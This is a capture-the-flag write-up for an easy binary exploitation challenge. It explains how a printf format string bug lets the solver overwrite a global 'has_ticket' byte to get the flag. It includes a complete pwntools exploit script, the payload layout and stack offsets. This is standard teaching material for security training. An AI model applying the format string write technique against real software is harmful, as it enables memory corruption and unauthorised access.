Upcoming Flight (Предстоящий полет)
Upcoming Flight (Предстоящий полет)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: arbitrary_write, format_string_write
Summary
Task: 64-bit ELF binary with format string vulnerability in printf(user_input) and global variable controlling flag access. Solution: Use format string write (%n) to overwrite has_ticket variable in .bss section, then trigger arrive() function to get the flag.
Upcoming Flight (Предстоящий полет) — duckerz CTF
Description
Наш герой - это обычный парень, с обычного города N. Он работает на обычной работе и проживает обычную жизнь и, в целом, не жалуется. Но однажды — кто знает, откуда берутся подобные мысли? — его посетила идея, странная, абсурдная и даже несколько пугающая. "А что, если стать хакером?". Зачем? Почему? Разве подобные вопросы имеют значение? Возможно, это было бегство, вызов, мятеж, — быть может, даже нечто демоническое.
Сказано - сделано, парень днями и ночами сидел за книгами и различными видео на всем известной площадке. Цель его была проста и дерзка: улететь в отпуск, не потратив ни копейки. Ни малейшего намёка на законность, ни малейшего страха перед последствиями. Казалось, всё его существо слилось в этой безумной идее.
Прошел год, парень поднаторел и решил, что пора. Так он и оказался в аэропорту и начал думать, что же ему делать дальше...
Remote:
nc tasks.duckerz.ru 30011
Analysis
Binary Structure
64-bit ELF with three main functions:
main: Menu with 3 options (flight board, print ticket, boarding)print_ticket: Contains format string vulnerability and buffer overflow via gets()arrive: Checks global variablehas_ticket, if != 0 callssystem("cat flag")
Key Addresses
has_ticket: global variable in .bss at address 0x404089 (1 byte)
Vulnerabilities
In print_ticket function:
fgetsreads 32 bytes into buffer at -0x50(%rbp) — safeprintf(buffer)— FORMAT STRING VULNERABILITY — user input passed directly to printfgetsreads into buffer at -0x30(%rbp) — buffer overflow (but stack canary is present)- Checks
has_ticket— if != 0, prints "Take your ticket"
In arrive function:
- Checks
has_ticketat address 0x404089 - If
has_ticket != 0: callssystem("cat flag")andexit(0) - If
has_ticket == 0: prints error message
Exploitation Strategy
- Use format string vulnerability to write a non-zero value to
has_ticket(0x404089) - Select option 3 (boarding) to call
arrive, which will print the flag
Format String Offset Calculation
- User input starts at position 6 on the stack
- Payload structure:
[format_string][padding][address] - Address is placed at bytes 24-31, which corresponds to position 9
Solution
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import struct # Target address: has_ticket global variable in .bss addr = 0x404089 # Format string payload: # %10c - print 10 characters (padding a stack value) # %9$n - write the count (10) to address at stack position 9 fmt = b"%10c%9$n" # 8 bytes # Padding to align address at position 9 (bytes 24-31) padding = b"A" * (24 - len(fmt)) # 16 bytes # Target address in little-endian addr_bytes = struct.pack("<Q", addr) # 8 bytes # Final payload: 32 bytes total payload = fmt + padding + addr_bytes # Connect to remote r = remote('tasks.duckerz.ru', 30011) # Select option 2: Print ticket r.recvuntil(b'> ') r.sendline(b'2') # Send format string payload r.recvuntil(b': ') r.sendline(payload) # Skip the gets() prompt (just send empty or anything) r.recvuntil(b'> ') # Select option 3: Boarding - triggers arrive() which checks has_ticket r.sendline(b'3') # Receive flag print(r.recvall().decode())
Technical Details
Why the Payload Works
%10c— prints 10 characters (pads a stack value to 10 characters)%9$n— writes the number of printed characters (10) to the address at stack position 9- Address 0x404089 contains null bytes, but they come AFTER the format string, so printf processes the specifiers before encountering the null
Payload Memory Layout
Offset: 0 8 16 24 32
|--------|--------|--------|--------|
Content: %10c%9$n AAAAAAAA AAAAAAAA \x89\x40\x40\x00...
^format ^padding ^address (pos 9)
Stack at printf Call
Position 1-5: saved registers, return address, etc.
Position 6: start of our buffer (format string)
Position 7: buffer + 8
Position 8: buffer + 16
Position 9: buffer + 24 <- our address is here
Alternative Approaches
- Buffer overflow via gets() — possible, but protected by stack canary
- Leak canary via format string — possible, but overkill for this task
- GOT overwrite — possible, but modifying
has_ticketis simpler
Lessons
- Format string vulnerabilities allow writing arbitrary values to arbitrary addresses
- When the address contains null bytes, place it at the end of the payload so the format string is processed first
- Global variables in .bss can be modified via format string, even if they are not on the stack
- Always check what conditions are needed to get the flag — sometimes changing one byte is enough